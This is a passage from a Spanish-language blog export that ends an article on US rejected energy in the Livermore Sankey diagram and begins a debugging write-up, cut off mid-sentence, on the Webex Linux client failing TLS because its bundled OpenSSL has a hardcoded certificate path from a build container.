conversión.3\nFuente Cómo entra en el diagrama Adónde van las pérdidas Carbón, gas, petróleo energía del combustible ~60–70 % a rechazada Nuclear energía térmica ~67 % a rechazada Eólica terrestre electricidad producida nada rechazado Solar de planta y de tejado electricidad producida nada rechazado Hidroeléctrica electricidad producida nada rechazado Una central de gas se cuenta por la energía del gas, así que los dos tercios que tira como calor caen en el bloque de rechazada. Una turbina se cuenta por la electricidad que entrega. No hay una línea de «energía del viento» contra la que perder nada.\nAsí que en este diagrama, cada teravatio hora que pasa de una central térmica a un parque eólico hace dos cosas a la vez. Suma a lo útil y resta a lo rechazado. Cuenta dos veces.\nLo cual significa que el argumento de que quitar la eólica y la solar reduciría el desperdicio corre al revés por el mismísimo diagrama sobre el que se formula. Me lo han planteado en serio personas que deberían saberlo mejor. No es un empate técnico. Es el signo invertido.\nDónde está de verdad el desperdicio Divide el diagrama por sectores y deja de ser una abstracción.1\nSector Energía de entrada Rechazada Útil Rendimiento Residencial 11,23 3,93 7,30 65 % Comercial 9,49 3,32 6,17 65 % Industrial 26,39 13,46 12,93 49 % Transporte 28,29 22,35 5,94 21 % Las centrales pierden otros 19,21 quads por las torres de refrigeración antes de que nada de eso llegue a esos cuatro.\nEl transporte es el peor con diferencia. Se lleva la mayor parte de la energía y convierte el 21 % en movimiento. Esos 22,35 quads desperdiciados son el 36 % de todo lo que Estados Unidos tira. Más de un tercio del desperdicio nacional, en un solo sector.\nUn motor de gasolina convierte quizá el 16–25 % del combustible en movimiento. El resto es calor y ruido.4\nÚtil en las ruedas Perdido como calor Motor de gasolina 16–25 % 75–84 % Cadena eléctrica (batería a ruedas) 87–91 % 9–13 % Eso no es una mejora marginal. Es la diferencia entre una máquina que sobre todo calienta el cielo y otra que sobre todo mueve el coche. El mismo viaje, otra física.\nY recorre toda la cadena, no solo el vehículo. Llevar combustible líquido hasta una gasolinera cuesta energía antes de que se queme una gota.\nPaso Energía perdida en llevarlo allí Refinar crudo 7–15 % de la entrada5 Petrolero, oleoducto, camión cisterna además de eso Transporte y distribución en la red ~5 %6 Petroleros como parte de la flota mundial ~28 % por peso muerto7 Crudo y productos movidos por mar, al año ~4,4 mil millones de toneladas7 El transporte por carretera es alrededor de la mitad de la demanda mundial de petróleo. Electrifícalo y una buena parte de la flota de petroleros se queda sin nada que llevar.\nConviene ser honesto aquí, porque exagerar es la forma de perder una discusión que ibas ganando. Las pérdidas de red son reales y son calor por efecto Joule. Un eléctrico paga en invierno el calor del habitáculo que un motor de combustión obtiene gratis. Pero ese calor solo es gratis porque el motor ya había tirado tres cuartas partes del combustible. Es gratis como es gratis el calor del incendio de una casa.\nLo más grande que Estados Unidos podría hacer Los vehículos ligeros son el 58,5 % de la energía del transporte, y justo la parte que se electrifica sin esperar tecnología nueva.8 Haz los números de cambiar la cadena de tracción y dejar todo lo demás igual.\nTransporte ligero por carretera Quads Energía de entrada hoy 16,55 Trabajo útil que entrega de verdad 3,47 El mismo trabajo por una cadena eléctrica 4,09 de electricidad …generada con gas, a rendimiento de ciclo combinado 9,08 primaria …generada con eólica, solar o hidráulica 4,09 primaria Energía ahorrada 7,5 a 12,5 quads Incluso cargándolos todos con turbinas de gas, ahorras unos siete quads y medio. Con eólica y solar son doce y medio. Entre el ocho y el trece por ciento de todo lo que Estados Unidos quema, de un solo cambio.\nEsa es la mayor ganancia de rendimiento disponible en cualquier punto del diagrama, no necesita ningún invento, ningún avance, ningún plan piloto ni ninguna física nueva, porque cada uno de los vehículos necesarios ya se fabrica y se vende hoy en volumen. Los coches existen. Ese es todo el truco.\nSalvo que un motor mejor no arregla el trazado Un eléctrico sigue teniendo que cubrir la distancia, y ahí está la otra mitad del problema.\nEstados Unidos Europa Millas en coche por persona y año ~12 400 ~6 2009 Parte de los viajes diarios hechos en coche 85 % 50–65 %9 Viajes de menos de una milla hechos en coche ~70 % ~30 %9 Plazas de aparcamiento por coche ~8 sin contar9 Mira la tercera fila, porque quita la excusa de la geografía. Alrededor del 30 % de los viajes diarios son de menos de una milla a ambos lados del Atlántico. Los mismos recados, las mismas distancias. Los estadounidenses hacen siete de cada diez en coche. Los europeos andan, pedalean o cogen algo para siete de cada diez.\nEso no lo hizo la geografía. El clima tampoco. Lo hizo la zonificación, poniendo las casas aquí y las tiendas a tres millas de allí, apoyada por mínimos de aparcamiento que acabaron construyendo casi ocho plazas por cada coche del país.9 Entre los años veinte y los sesenta las ciudades estadounidenses se rehicieron alrededor del automóvil y buena parte de Europa occidental las copió. Desde finales de los años sesenta Europa paró y empezó a deshacerlo.9\nAsí que los doce quads y medio son el techo de la electrificación por sí sola. Reduce también las millas a la mitad y reduces a la mitad lo que queda. Lo uno es un trabajo de ingeniería y lo otro un trabajo de planificación, y del trabajo de planificación nadie puede comprar su salida con una sola compra.\nY el viajero-kilómetro más barato es compartido Hay una tercera palanca, y Estados Unidos ha dejado más o menos de tirar de ella.\nModo Energía por viajero-kilómetro Coche de gasolina 1,9 a 3,5 MJ10 Ferrocarril eléctrico urbano, lleno 0,3 a 0,6 MJ10 De cuatro a seis veces mejor, antes de que nadie toque una cadena de tracción. Un coche con un solo ocupante emite 7,7 veces el CO₂ por viajero-milla de un autocar lleno.10\nY ahora el estado de la cuestión.\nEstados Unidos Europa Parte de los viajeros-milla en transporte público 0,40 %11 varias veces eso Viajes hechos en coche 95 %11 del 50 al 65 % Vía férrea electrificada 1,7 % (las Américas)11 ~57 % en la UE11 Cero coma cuatro por ciento. Eso no es un sistema de transporte con un componente público. Es un país que conduce, con algunos autobuses dentro.\nY un 1,7 % de electrificación significa que el ferrocarril estadounidense sigue siendo, de forma abrumadora, diésel. Así que todo argumento para pasar mercancías y viajeros al tren se está haciendo sobre una red que todavía va con petróleo. Electrifica la vía y sacas el cambio de modo y el cambio de combustible del mismo trabajo.\nAquí está la parte honesta, porque corta en sentido contrario y alguien la va a sacar. El transporte público solo es eficiente cuando va lleno. La ocupación de los autobuses en Estados Unidos lleva décadas cayendo, y la energía por viajero-milla en autobús ha subido un 63 % desde 1970.10 Un autobús casi vacío en un bucle de cincuenta minutos por una urbanización es peor que el coche al que iba a sustituir. Ese es un número real y grande.\nPero mira qué vacía un autobús. Nadie a distancia de paseo de la parada, nada que merezca el paseo al otro extremo, y un trazado que pone ocho plazas de aparcamiento junto a cada puerta. Los autobuses vacíos no son un hecho sobre los autobuses. Son un hecho sobre lo que se construyó alrededor de la parada.\nLo que te lleva a lo que de verdad saca a la gente del coche, y ahí la distancia es mayor de lo que sugiere la cifra de reparto modal.\nEstados Unidos Europa Ciudades con metro 13 6012 Ciudades con red de tranvía 30 muchas más12 Crecimiento de la red de metro desde 2000 referencia tres veces más rápido12 Trece. En un país de trescientos cuarenta millones de personas. Europa tiene sesenta, y lleva poniendo vía nueva tres veces más rápido desde el cambio de siglo, así que la distancia se abre en vez de cerrarse.\nEl modo también importa. Un trabajo sobre ciudades europeas encontró que los metros sacan gente del coche donde las redes de tranvía en gran medida no lo hacen, lo que encaja con lo esperable: un metro es más rápido que conducir en hora punta y un tranvía normalmente no.12 La velocidad es todo el producto. Construye algo más lento que el coche y habrás construido una subvención para quien no tiene alternativa, no una alternativa para quien sí la tiene.\nEse es el único apartado realmente caro de la lista. Reformar la zonificación cuesta voluntad política y una reescritura. Los túneles cuestan miles de millones. Pero compran lo que los otros dos no pueden. Mueves gente a través de una ciudad densa con electricidad, a 0,3 o 0,6 MJ por viajero-kilómetro, y más rápido de lo que habrían conducido. A partir de ahí, dejar el coche en casa deja de ser un sacrificio y pasa a ser lo obvio. Ahí es cuando la gente lo hace de verdad.\nLo que significa que las soluciones son la misma solución con distintos sombreros. La electrificación quita entre 7,5 y 12,5 quads de la cadena de tracción. La zonificación baja las millas. La densidad es lo que hace que merezca la pena explotar el transporte público, y el transporte público es lo que hace la densidad habitable. Tira de una palanca y obtienes una palanca. Tira de las tres y se multiplican.\nEstados Unidos está ahora mismo discutiendo sobre la primera.\nNada de esto arranca, sin embargo, sin el paso más barato de todos, que además parece el más difícil. Alguien tiene que decir en voz alta que hay un problema.\nEl diagnóstico no falta. Lo publica cada año un laboratorio federal, gratis, en una web pública, en un diagrama lo bastante claro como para leerlo en un minuto. Sesenta y cinco coma ocho por ciento desperdiciado. El transporte, un tercio de eso. Veintiún por ciento de rendimiento en el bloque más grande de la página. Nadie necesita encargar un estudio ni esperar a la ciencia. La ciencia salió en agosto. La gente leyó el número del titular, lo entendió mal y siguió a otra cosa.\nEsa es la parte que debería escocer. Ningún país se gasta miles de millones en excavar bajo sus ciudades para arreglar algo que le parece que está bien, y Estados Unidos ha archivado en silencio 22,35 quads desperdiciados al año bajo «está bien». No discutido y descartado. Simplemente nunca puesto sobre la mesa.\nLas sobras tienen que ir a alguna parte El calor solo es residuo si no hay dónde meterlo. Eso es una decisión de planificación, no una carencia tecnológica, y se tomó en su mayor parte hace décadas.\nParte de la calefacción urbana en la demanda de calor Dinamarca ~66 %13 Suecia, Finlandia, Polonia, los bálticos por encima del 50 % Media de la UE ~13 % Reino Unido ~3 %14 Estados Unidos solo esquemas de campus, hospital y centro urbano Europa tiene funcionando unos 111 650 emplazamientos comerciales e industriales con CO₂ transcrítico a fecha de 2025, aproximadamente un tercio de toda la distribución alimentaria.15 El centro de datos de Meta en Odense lleva desde 2019 metiendo unos 100 000 MWh al año en la red local. Es calor que si no se habría ido por un aerorrefrigerador. En vez de eso calienta 12 000 viviendas.13\nTenemos unas 14 000 redes de calor en el Reino Unido y todavía cubren solo el 3 % de la demanda de calor.14 Catorce mil cacharros y casi nada que enseñar, porque son pequeñas, fragmentadas y casi siempre pegadas a vivienda social. Ofgem asumió la regulación en enero y la zonificación empieza este año. Objetivo del 7 % para 2035, alrededor de una quinta parte del calor de los edificios para 2050.16\nDinamarca no hace nada listo que nosotros no podamos. Dinamarca puso tubos bajo las calles. Nosotros no. Ya está. Esa es la diferencia.\nBombas de calor, y el refrigerante que nadie espera La misma lógica en el extremo pequeño. Una resistencia eléctrica no puede pasar de un coeficiente de rendimiento (COP) de 1,0. Esa es la definición de la cosa. Una bomba de calor mueve el calor en lugar de fabricarlo, así que lo hace mejor.\nSistema COP Condiciones Resistencia (PTC) 1,0 como máximo cualquiera Bomba de calor de automoción 2,0–3,2 0 a 15 °C Unidad de propano R290 de Hyundai/Kia 3,8 declarado −15 °C Unidad VW R-744 (CO₂) 3,1 −20 °C17 El ADAC pasó 28 eléctricos por una prueba de invierno a −7 °C. Los modelos con bomba de calor perdieron de media un 22 % menos de autonomía que los que solo llevaban resistencia.18\nLa línea del R-744 merece una segunda mirada. Es el propio dióxido de carbono haciendo de refrigerante, en los VW ID.3 e ID.4. Su mayor densidad de vapor de aspiración mantiene la capacidad según baja la temperatura, que es justo cuando la quieres.17\nY el CO₂ de calidad refrigerante es un subproducto de la producción de amoniaco, etanol y fertilizantes, capturado y limpiado en vez de venteado.19 Una corriente de residuo haciendo la calefacción y la refrigeración, con un potencial de calentamiento global de 1 frente a los 1 430 del R-134a. Cuando este se fuga, no pasa nada.\nNo es captura de carbono y no voy a fingir que lo sea; la carga no llega al kilo. El punto es más estrecho y mejor. El fluido de trabajo es algo de lo que ya teníamos demasiado.\nLo que yo tengo funcionando Equipo Características Por qué Campo solar 9 kW el tejado mira bien, así que aprovéchalo Batería 30 kWh desplaza la generación del día a la tarde Eléctricos MG4, Xpeng G6 cargados del campo, no de una gasolinera Aire acondicionado autoalimentado funciona con lo que hacen los paneles Control Home Assistant mete las cargas grandes en la franja barata Nada exótico en esa lista y nada nuevo. El mismo principio que emparejar un medio de almacenamiento con un patrón de IO. Pon la energía donde se gana el sueldo, mide lo que de verdad obtienes, y deja de fiarte de la etiqueta de la caja.\nLo que me sorprendió fue cuánto del ahorro venía de no mover combustible de un lado a otro. Ni petrolero, ni gasolinera, ni refinería llevándose su parte por el camino. Los paneles están a diez metros del coche.\nEl diagrama es un espejo Livermore lleva años publicando estos diagramas y son buenos. Construidos con honestidad, realmente útiles, gratis. Merecen una hora del tiempo de cualquiera.1\nPero un diagrama de Sankey no tiene opinión. Te enseña a escala lo que un país decidió hacer con su energía. El 65,8 % no es una ley de la física. Es una imagen de decisiones sobre motores, tuberías y planificación, tomadas de una en una a lo largo de unos setenta años, y tendría otra pinta si las decisiones hubieran sido otras.\nEl diagrama de Dinamarca es distinto porque Dinamarca excavó.\nFuentes Lawrence Livermore National Laboratory — Energy Flow Charts — los diagramas de Sankey anuales de la energía estadounidense, incluido el de 2024 y su total de 94,6 × 10¹⁵ BTU.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKate Morley — National Grid: Live — la demanda eléctrica de Gran Bretaña, con una media de 30,9 GW en el último año, lo que da unos 271 TWh anuales. Escribí sobre lo que muestra ese panel en La red que sí arreglamos.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHawai\u0026rsquo;i State Energy Office — Statewide Energy Flowchart — expone la metodología de la EIA que usa Livermore, según la cual la solar distribuida, la hidroeléctrica, la eólica terrestre y la solar de planta entran suponiendo un rendimiento de generación del 100 % y sin pérdidas térmicas representadas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEVreporter — Understanding the complete efficiency picture of electric vehicles — el rendimiento del depósito a la rueda y de la batería a la rueda para cadenas de combustión y eléctricas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConcawe — EU refinery energy systems and efficiency — el consumo propio de una refinería como parte del crudo de entrada, del 3–4 % para destilación simple al 7–10 % y más para plantas de conversión completa.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS Energy Information Administration — How much electricity is lost in transmission and distribution? — las pérdidas anuales estadounidenses de transporte y distribución promediaron alrededor del 5 % de la electricidad transportada, de 2018 a 2022.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUNCTAD — World seaborne trade — la parte de petroleros en la flota mundial por peso muerto, y los volúmenes de crudo y producto refinado movidos por mar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS Energy Information Administration — Light-duty vehicles\u0026rsquo; share of transportation energy use — los vehículos ligeros en el 58,5 % de la energía del transporte estadounidense, los camiones medios y pesados y los autobuses en el 23,9 %, y la aviación como único otro modo por encima del 5 %.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCar dependency — Wikipedia y CNN — This little-known rule shapes parking in America — los kilómetros en coche por habitante en Estados Unidos frente a Europa, la parte de los viajes diarios y de los viajes de menos de una milla hechos en coche a cada lado del Atlántico, las aproximadamente ocho plazas de aparcamiento por coche que producen los mínimos de aparcamiento, y la divergencia de la política urbana desde finales de los años sesenta.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBureau of Transportation Statistics — Energy intensity of passenger modes y Public transport versus private cars: a passenger-kilometre energy comparison — la energía por viajero-kilómetro de los coches de gasolina frente al ferrocarril eléctrico urbano lleno, la relación de emisiones entre un coche con un solo ocupante y un autocar lleno, y la subida de la energía por viajero-milla en autobús a medida que caía la ocupación.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTransportation in the United States — Wikipedia y Statista — Share of the rail network which is electrified in Europe — la parte estadounidense de viajeros-milla en transporte público y en vehículo privado, y la vía electrificada como parte de la red en la UE frente a las Américas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nStreetsblog USA — Other countries are building transit while the US falls behind y Metros reduce car use in European cities but trams do not — el recuento de ciudades estadounidenses y europeas con redes de metro y tranvía, el ritmo al que ha crecido la longitud de la red de metro desde 2000 a cada lado, y el hallazgo de que los metros desplazan viajes en coche donde las redes de tranvía en gran medida no.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nState of Green — Utilising excess heat to warm up Danish homes — la parte danesa de calefacción urbana en la demanda de calor doméstico, y la recuperación de calor sobrante de centros de datos, incluidas las cifras de exportación de Odense.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGreater London Authority — Heat networks data report, February 2026 — el parque británico fragmentado de redes de calor y su parte actual de la demanda de calor.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nATMOsphere — European transcritical CO₂ installations — 111 650 emplazamientos comerciales e industriales europeos con CO₂ transcrítico en 2025, que cubren alrededor de un tercio de los puntos de venta de alimentación.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDepartment for Energy Security and Net Zero — Heat Network Zoning: government response — el marco de zonificación, la regulación de Ofgem desde enero de 2026, y los objetivos de 2035 y 2050.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNaturalRefrigerants.com — CO₂ heat pumps found to offer high efficiency at low ambient temperature in electric vehicles — el rendimiento de una bomba de calor R-744 de automoción a baja temperatura ambiente, y las implementaciones de los VW ID.3 e ID.4.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nInsideEVs — For maximum winter EV driving range, you want a car with this feature — la prueba de invierno del ADAC sobre 28 vehículos eléctricos y la diferencia de pérdida de autonomía a −7 °C.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNaturalRefrigerants.com — FAQs — el CO₂ de calidad refrigerante como subproducto recuperado de la producción de amoniaco, alcohol y fertilizantes, y su potencial de calentamiento global de 1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/energy/rejected-energy-what-the-livermore-chart-shows/","summary":"Lawrence Livermore publica cada año un diagrama de Sankey que muestra adónde va la energía estadounidense. En 2024, 62,27 de los 94,61 quads no hicieron ningún trabajo útil. Qué significa energía rechazada y qué es un quad, por qué el propio método del diagrama hace que las renovables encojan ese bloque en vez de llenarlo, por qué el transporte por sí solo es más de un tercio del desperdicio nacional, y las tres cosas que lo arreglarían de verdad.","title":"Energía rechazada: lo que muestra de verdad el diagrama de Livermore"},{"content":"Webex pone un banner amarillo en la parte de arriba de la ventana. Offline - No internet connection. Los servicios de telefonía aparecen desconectados, no se sincroniza nada, y no puedes entrar en la reunión que empezó hace noventa segundos.\nEso no es una molestia cuando la cosa es tu teléfono de trabajo. Por Webex entran mis llamadas, y mi línea VoIP va por ahí, así que un cliente que no se autentica es un teléfono de mesa que no suena, una reunión en la que no estoy, y un compañero que acaba en el buzón. Me impidió trabajar. No más lento, no degradado. Parado.\nY nada de esto estaba en mi mano ni causarlo ni evitarlo. Una jornada de trabajo se torció por un control de calidad que no se aplicó, en un proveedor al que se le paga, en un producto vendido con contrato de soporte, contra una plataforma que su propia página de requisitos dice que está soportada. No configuré nada mal. Instalé el paquete del fabricante, desde el repositorio del fabricante, en una plataforma que el fabricante lista, y no pudo abrir una conexión TLS. Luego me gasté una tarde de mi propio tiempo en averiguar por qué, que es el tiempo que no gastó la gente que firmó el paquete.\nLa máquina no está desconectada. El navegador de al lado carga páginas. Tu correo llega, tu terminal descarga de un remoto, y si le preguntas al sistema operativo si llega a internet dice que sí. Webex está de acuerdo, en su propio registro, once segundos antes de decirte lo contrario.\nLo que ha pasado en realidad es que la copia de OpenSSL que Cisco incluye dentro de Webex no encuentra ni una sola autoridad de certificación, porque se compiló para buscarlas en /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl. Eso es un directorio de un contenedor de compilación de Cisco. Nunca ha existido en tu ordenador y nunca existirá. Toda conexión TLS de la aplicación falla en la verificación del certificado, el token de sesión no puede renovarse, expira un temporizador de quince segundos, y la interfaz echa mano de la única explicación para la que tiene una cadena de texto.\nAsí que el banner está equivocado de una manera concreta y poco útil. Señala tu red. El fallo es una ruta dentro de su compilación.\nEsto es la versión 46.8.0.35631, en Fedora 44, kernel 7.2.4. Es una plataforma soportada. Cisco publica requisitos de sistema para Linux y entrega un .rpm firmado, webex-46.8.0.35631-1.x86_641. Lo que sigue es cómo demostrarlo en unos diez minutos, por qué no funciona ninguno de los arreglos obvios, el que sí, y luego la parte que importa más que todo lo anterior: esto no es un fallo sutil. Es una compilación que nadie ejecutó nunca en una máquina que no la hubiera construido.\nLo que el banner te dice en realidad Webex mueve su indicador de conectividad con una máquina de estados compuesta, siete submáquinas con sus propios temporizadores. Al arrancar se inicializan así:\nConnectivityStateMachine::ConnectivityBanner - Initializing with state: Connected ConnectivityStateMachine::Network - Initializing with state: NoNetwork ConnectivityStateMachine::Services - Initializing with state: Connected ConnectivityStateMachine::Mercury - Initializing with state: Disconnected ConnectivityStateMachine::Authentication - Initializing with state: UserNotAuthenticated ConnectivityStateMachine::Syncing - Initializing with state: Synced ConnectivityStateMachine::Survivability - Initializing with state: SurvivabilityHide Cuarenta milisegundos después el sistema operativo responde, y la aplicación lo anota:\nNetworkManagerPowerNetworkWatcher.cpp:93 onConnectivityCheckSuccess:: The host is connected to a network, that appears to be able to reach the full Internet. Esa línea está en el mismo archivo, en la misma sesión, que el banner que afirma que no hay conexión a internet. La aplicación lo sabía. Tenía la respuesta en la mano a las 08:25:12.131 y mostró lo contrario a las 08:25:27.132.\nEntre esos dos momentos, esto:\nHora Qué pasó 08:25:12.131 El sistema operativo confirma acceso completo a internet 08:25:12.218 Detección de proxy: ninguno configurado, conexión directa 08:25:12.241 La primera petición HTTPS falla, errorCode: 167772294 Error in SSL handshake 08:25:12.569 La renovación del token de CloudApps falla, mismo código 08:25:12.571 La renovación del token de Kms falla, mismo código 08:25:15.684 Reintento, fallan las dos 08:25:21.745 Reintento, fallan las dos 08:25:27.132 Expira el temporizador de quince segundos, el banner pasa a NoInternet 08:26:12.091 Expiran los temporizadores de sesenta segundos, los servicios caen a DisconnectedShortTerm La submáquina de autenticación nunca sale de UserNotAuthenticated, así que Services se deduce como desconectado, así que salta el banner. Cada una de esas etapas es un comportamiento correcto dada la entrada. La entrada está mal, y la entrada es un número: 167772294, en cada petición fallida, desde la primera hasta la última.\nEse número es toda la entrada. Quédatelo.\nTres rutas, y ninguna existe Webex no usa el OpenSSL del sistema. Trae el suyo, junto con su propia libcurl, y esa libcurl enlaza contra la incluida y no contra la tuya:\n$ ldd /opt/Webex/bin/libcurl.so | grep -E \u0026#39;ssl|crypto\u0026#39; libssl.so.3 =\u0026gt; /opt/Webex/bin/../lib/libssl.so.3 libcrypto.so.3 =\u0026gt; /opt/Webex/bin/../lib/libcrypto.so.3 Hasta aquí bien. Incluir una biblioteca TLS propia es una decisión defendible y un montón de fabricantes lo hacen. Lo que importa es qué se coció dentro, y OpenSSL te lo dice si preguntas:\n$ strings /opt/Webex/lib/libcrypto.so.3 | grep -E \u0026#39;OPENSSLDIR|ENGINESDIR|MODULESDIR\u0026#39; OPENSSLDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl\u0026#34; ENGINESDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/lib/engines-3\u0026#34; MODULESDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/lib/ossl-modules\u0026#34; Tres. No es un ajuste que se escapó. El prefijo de instalación entero, arrastrado desde la máquina que lo compiló, en una biblioteca que llega al cliente como paquete firmado en una plataforma soportada.\nOPENSSLDIR se fija una vez, al configurar, con --openssldir, y la propia documentación de compilación de OpenSSL es tajante sobre para qué sirve: «Directory for OpenSSL configuration files, and also the default certificate and key store.»2 Todo lo que cuelga de la confianza cuelga de ahí. El archivo CA por defecto es cert.pem dentro y el directorio CA por defecto es certs dentro3. /workspace es una caché de compilación de Conan. Conan es el gestor de paquetes de C++ con el que compila Cisco, y guarda cada paquete bajo un hash de sus entradas de compilación4. El hash cisco8ee8b59cf93de es un hecho sobre un contenedor que probablemente se borró a los pocos minutos de terminar la compilación.\nPregúntale a la biblioteca qué es, y ni siquiera es OpenSSL de serie:\nVERSION CiscoSSL 3.5.5.8.5.4 27 Jan 2026 BUILT_ON built on: Wed Feb 25 06:29:18 2026 UTC PLATFORM platform: conan-Release-Linux-x86_64-gcc-13 DIR OPENSSLDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl\u0026#34; Un fork propio mantenido, con su propio esquema de versiones, compilado en febrero, entregado en agosto, y todavía arrastrando el directorio de trabajo en el que se hizo.\nDónde busca cada copia de OpenSSL de la máquina sus anclas de confianza Una máquina, dos copias de OpenSSL, y solo una sabe dónde están los certificados A ninguna se le dice en ejecución. Cada una lleva la respuesta compilada dentro, y esa cadena la fija quien lanza la compilación. La copia del sistema: OpenSSL 3.5.8, Fedora 44 OPENSSLDIR compilado dentro /etc/pki/tls el directorio está ahí cert.pem \u0026#8594; tls-ca-bundle.pem certs/ \u0026#8594; anclas con hash la cadena se comprueba contra anclas reales El saludo se completa. Todo lo demás funciona. Por eso mismo el usuario está seguro de que la red va bien. La copia que entrega Webex: CiscoSSL 3.5.5.8.5.4 OPENSSLDIR compilado dentro /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl ese directorio no está en ninguna máquina cliente cert.pem \u0026#8594; ausente certs/ \u0026#8594; ausente el almacén carga cero anclas de confianza El saludo falla: error 0x0A000086, decimal 167772294. El banner que se le muestra dice que la red está caída. Dos copias de OpenSSL en una máquina. A ninguna se le dice en tiempo de ejecución dónde vive la confianza. Cada una lleva una cadena compilada dentro, y una de esas cadenas nombra un directorio que solo existió en el servidor de compilación de otra persona. No te quedes con strings como respuesta. Pregúntale a la biblioteca strings encuentra texto en un archivo. No demuestra que la biblioteca lo use. Así que carga la biblioteca incluida y pregúntale directamente, lo que lleva unas doce líneas de Python y ningún permiso de root:\nimport ctypes c = ctypes.CDLL(\u0026#34;/opt/Webex/lib/libcrypto.so.3\u0026#34;) for f in (\u0026#34;X509_get_default_cert_file\u0026#34;, \u0026#34;X509_get_default_cert_dir\u0026#34;, \u0026#34;X509_get_default_cert_file_env\u0026#34;, \u0026#34;X509_get_default_cert_dir_env\u0026#34;): getattr(c, f).restype = ctypes.c_char_p print(f\u0026#34;{f:34} {getattr(c, f)().decode()}\u0026#34;) X509_get_default_cert_file /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl/cert.pem X509_get_default_cert_dir /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl/certs X509_get_default_cert_file_env SSL_CERT_FILE X509_get_default_cert_dir_env SSL_CERT_DIR Ahí está, de boca de la propia biblioteca. Cuando algo dentro de Webex le pide a esta copia de OpenSSL el almacén de confianza por defecto, se le entrega un archivo y un directorio que no existen. Eso es lo que hace SSL_CTX_set_default_verify_paths, y es lo que hace casi cualquier cliente salvo que se le haya dicho otra cosa.\nLas dos últimas líneas merecen atención, porque son la salida de emergencia: la biblioteca deja que SSL_CERT_FILE y SSL_CERT_DIR sobrescriban las dos5. Acuérdate también de eso. Se vuelve importante, y no de la manera que esperarías.\nReproducir el código de error exacto La prueba por inspección no es prueba. Coge las libssl.so.3 y libcrypto.so.3 incluidas, haz un saludo TLS de verdad contra un servidor de verdad con nada más que los valores por defecto de la biblioteca, y mira qué vuelve.\nLa ejecución interesante es aquella en la que los valores por defecto no apuntan a nada. SSL_CERT_FILE y SSL_CERT_DIR sobrescriben exactamente los dos valores que un OPENSSLDIR ausente deja colgando, así que apuntarlos a una ruta que no existe reproduce la condición entregada con precisión:\n$ SSL_CERT_FILE=/nonexistent/cert.pem SSL_CERT_DIR=/nonexistent/certs python3 tls.py set_default_verify_paths -\u0026gt; 1 set_fd -\u0026gt; 1 SNI -\u0026gt; 1 SSL_connect -\u0026gt; -1 SSL_get_error -\u0026gt; 1 verify result 20: unable to get local issuer certificate err: 0xa000086 error:0A000086:SSL routines::certificate verify failed 0x0A000086 en decimal es 167772294.\nEse es el número de cada línea fallida del registro de Webex, y no vino de Webex. Vino de la propia biblioteca TLS de Cisco, ejecutándose fuera de su aplicación, fallando por exactamente un motivo: no tenía anclas de confianza contra las que comprobar la cadena. Misma biblioteca, mismo error, ninguna aplicación de por medio.\nApunta esas dos mismas variables al paquete real de Fedora y el mismo camino de código llega hasta el final:\n$ SSL_CERT_FILE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem python3 tls.py SSL_connect -\u0026gt; 1 SSL_get_error -\u0026gt; 0 verify result 0: ok Nada de la red cambió entre esas dos ejecuciones. Una ruta de archivo sí.\nTodos los pasos de red funcionan. El que falla abre un archivo local. Cuatro pasos cruzan la red y funcionan. El quinto lee un archivo y no. Ejecutado contra las libssl.so.3 y libcrypto.so.3 entregadas, fuera de Webex, sin más que los valores por defecto de la biblioteca. TCP connect :443 ok ClientHello, SNI ok ServerHello, cadena ok, cadena recibida comprobar la cadena contra la confianza ninguna ancla cargada lo que informa la biblioteca SSL_connect -\u0026#62; -1 verify result 20: unable to get local issuer certificate err: 0xa000086 error:0A000086:SSL routines::certificate verify failed 0x0A000086 es 167772294 en decimal, el número de cada línea fallida del registro de Webex. La aplicación no escribió la palabra «certificado» en ningún sitio. Registró «Error in SSL handshake» y un entero decimal, y la interfaz lo convirtió en «Offline - No internet 